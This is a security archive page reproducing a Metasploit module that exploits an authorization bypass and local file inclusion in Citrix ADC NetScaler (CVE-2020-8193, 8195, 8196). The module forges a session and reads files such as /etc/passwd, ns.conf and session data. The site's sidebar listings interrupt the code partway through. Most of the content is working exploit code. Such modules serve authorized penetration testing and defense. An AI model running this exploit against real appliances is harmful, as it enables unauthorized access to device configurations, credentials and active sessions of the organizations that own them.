Citrix ADC NetScaler Local File Inclusion

Authored by Donny Maasland, Ramella Sebastien | Site metasploit.com

Posted Nov 13, 2020

This Metasploit module exploits a local file inclusion vulnerability in Citrix ADC Netscaler.

tags | exploit, local, file inclusion
advisories | CVE-2020-8193, CVE-2020-8195, CVE-2020-8196
SHA-256 | 70dc89253162a6b119c3d606f6c3f8993ac2cf75090d967905fead6d2ddd4d90 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Citrix ADC NetScaler - Local File Inclusion (Metasploit)',
      'Description'    => %{
        The remote device is affected by multiple vulnerabilities.

        An authorization bypass vulnerability exists in Citrix ADC and NetScaler Gateway devices.
        An unauthenticated remote attacker with access to the `NSIP/management interface` can exploit
        this to bypass authorization (CVE-2020-8193).

        And Information disclosure (CVE-2020-8195 and CVE-2020-8196) - but at this time unclear which.
      },
      'Author'         => [
        'Donny Maasland', # Discovery
        'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)
      ],
      'References'     => [
        ['CVE', '2020-8193'],
        ['CVE', '2020-8195'],
        ['CVE', '2020-8196'],
        ['URL', 'https://dmaasland.github.io/posts/citrix.html'],
        ['URL', 'https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-
2020-8195-and-cve-2020-8196-intelligence/amp/'],
        ['URL', 'https://github.com/jas502n/CVE-2020-8193']
      ],
      'DisclosureDate' => '2020-07-09',
      'License'        => MSF_LICENSE,
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL' => true
      }
    ))

    register_options([
      OptEnum.new('MODE', [true, 'Start type.', 'discovery', [ 'discovery', 'interactive', 'sessions']]),
      OptString.new('PATH', [false, 'File or directory you want to read', '/nsconfig/ns.conf']),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def create_session
    params = 'type=allprofiles&sid=loginchallengeresponselrequestbody&username=nsroot&set=1'

    request = {
      'method' => 'POST',
      'uri' => "#{normalize_uri(target_uri.path, 'pcidss', 'report')}?#{params}",
      'ctype' => 'application/xml',
      'headers' => {
        'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),
        'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8)
      },
      'data' => '<appfwprofile><login></login></appfwprofile>'
    }
    request = request.merge({'cookie' => @cookie}) if @cookie

    response = send_request_raw(request)
    unless response && response.code == 406
      print_error("#{@message_prefix} - No response to session request.")
      return
    end

    response.get_cookies
  end

  def fix_session_rand
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'menu', 'ss'),
      'cookie' => @cookie,
      'vars_get' => {
        'sid' => 'nsroot',
        'username' => 'nsroot',
        'force_setup' => '1'
      }
    )

    if response && response.code == 302
      location = response.headers['location']

      response = send_request_cgi(
        'method' => 'GET',
        'uri' => location,
        'cookie' => @cookie
      )

      return unless response && response.code == 200
    end

    response.to_s.scan(/rand = "([^"]+)"/).join
  end

  def read_lfi(path, var_rand)
    params = "filter=path:#{path}"

    request = {
      'method' => 'POST',
      'uri' => "#{normalize_uri(target_uri.path, 'rapi', 'filedownload')}?#{params}",
      'cookie' => @cookie,
      'ctype' => 'application/xml',
      'headers' => {
        'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),
        'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8),
        'rand_key' => var_rand
      },
      'data' => '<clipermission></clipermission>'
    }

    response = send_request_raw(request)
  end

  def run_host(ip)
    proto = (datastore['SSL'] ? 'https' : 'http')
    @message_prefix = "#{proto}://#{ip}:#{datastore['RPORT']}"
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    @cookie = create_session
    if @cookie && @cookie =~ /SESSID/
      print_status("#{@message_prefix} - Got session: #{@cookie.split(' ')[0]}")

      var_rand = fix_session_rand
      unless var_rand
        print_error("#{@message_prefix} - Unable to get rand value.")
        return Exploit::CheckCode::Unknown
      end
      print_status("#{@message_prefix} - Got rand: #{var_rand}")

      print_status("#{@message_prefix} - Re-breaking session...")
      create_session

      case datastore['MODE']
      when /discovery/
        response = read_lfi('/etc/passwd'.gsub('/', '%2F'), var_rand)
        if response.code == 406
          if response.body.include? ('root:*:0:0:')
            print_warning("#{@message_prefix} - Vulnerable.")

            return Exploit::CheckCode::Vulnerable
          end
        end
      when /interactive/
        # TODO: parse response
        response = read_lfi(datastore['PATH'].gsub('/', '%2F'), var_rand)
        if response.code == 406
          print_line("#{response.body}")
        end

        return
      when /sessions/
        # TODO: parse response
        response = read_lfi('/var/nstmp'.gsub('/', '%2F'), var_rand)
        if response.code == 406
          print_line("#{response.body}")
        end

        return
      end
    end
    print_good("#{@message_prefix} - Not Vulnerable.")

    return Exploit::CheckCode::Safe
  end

end
```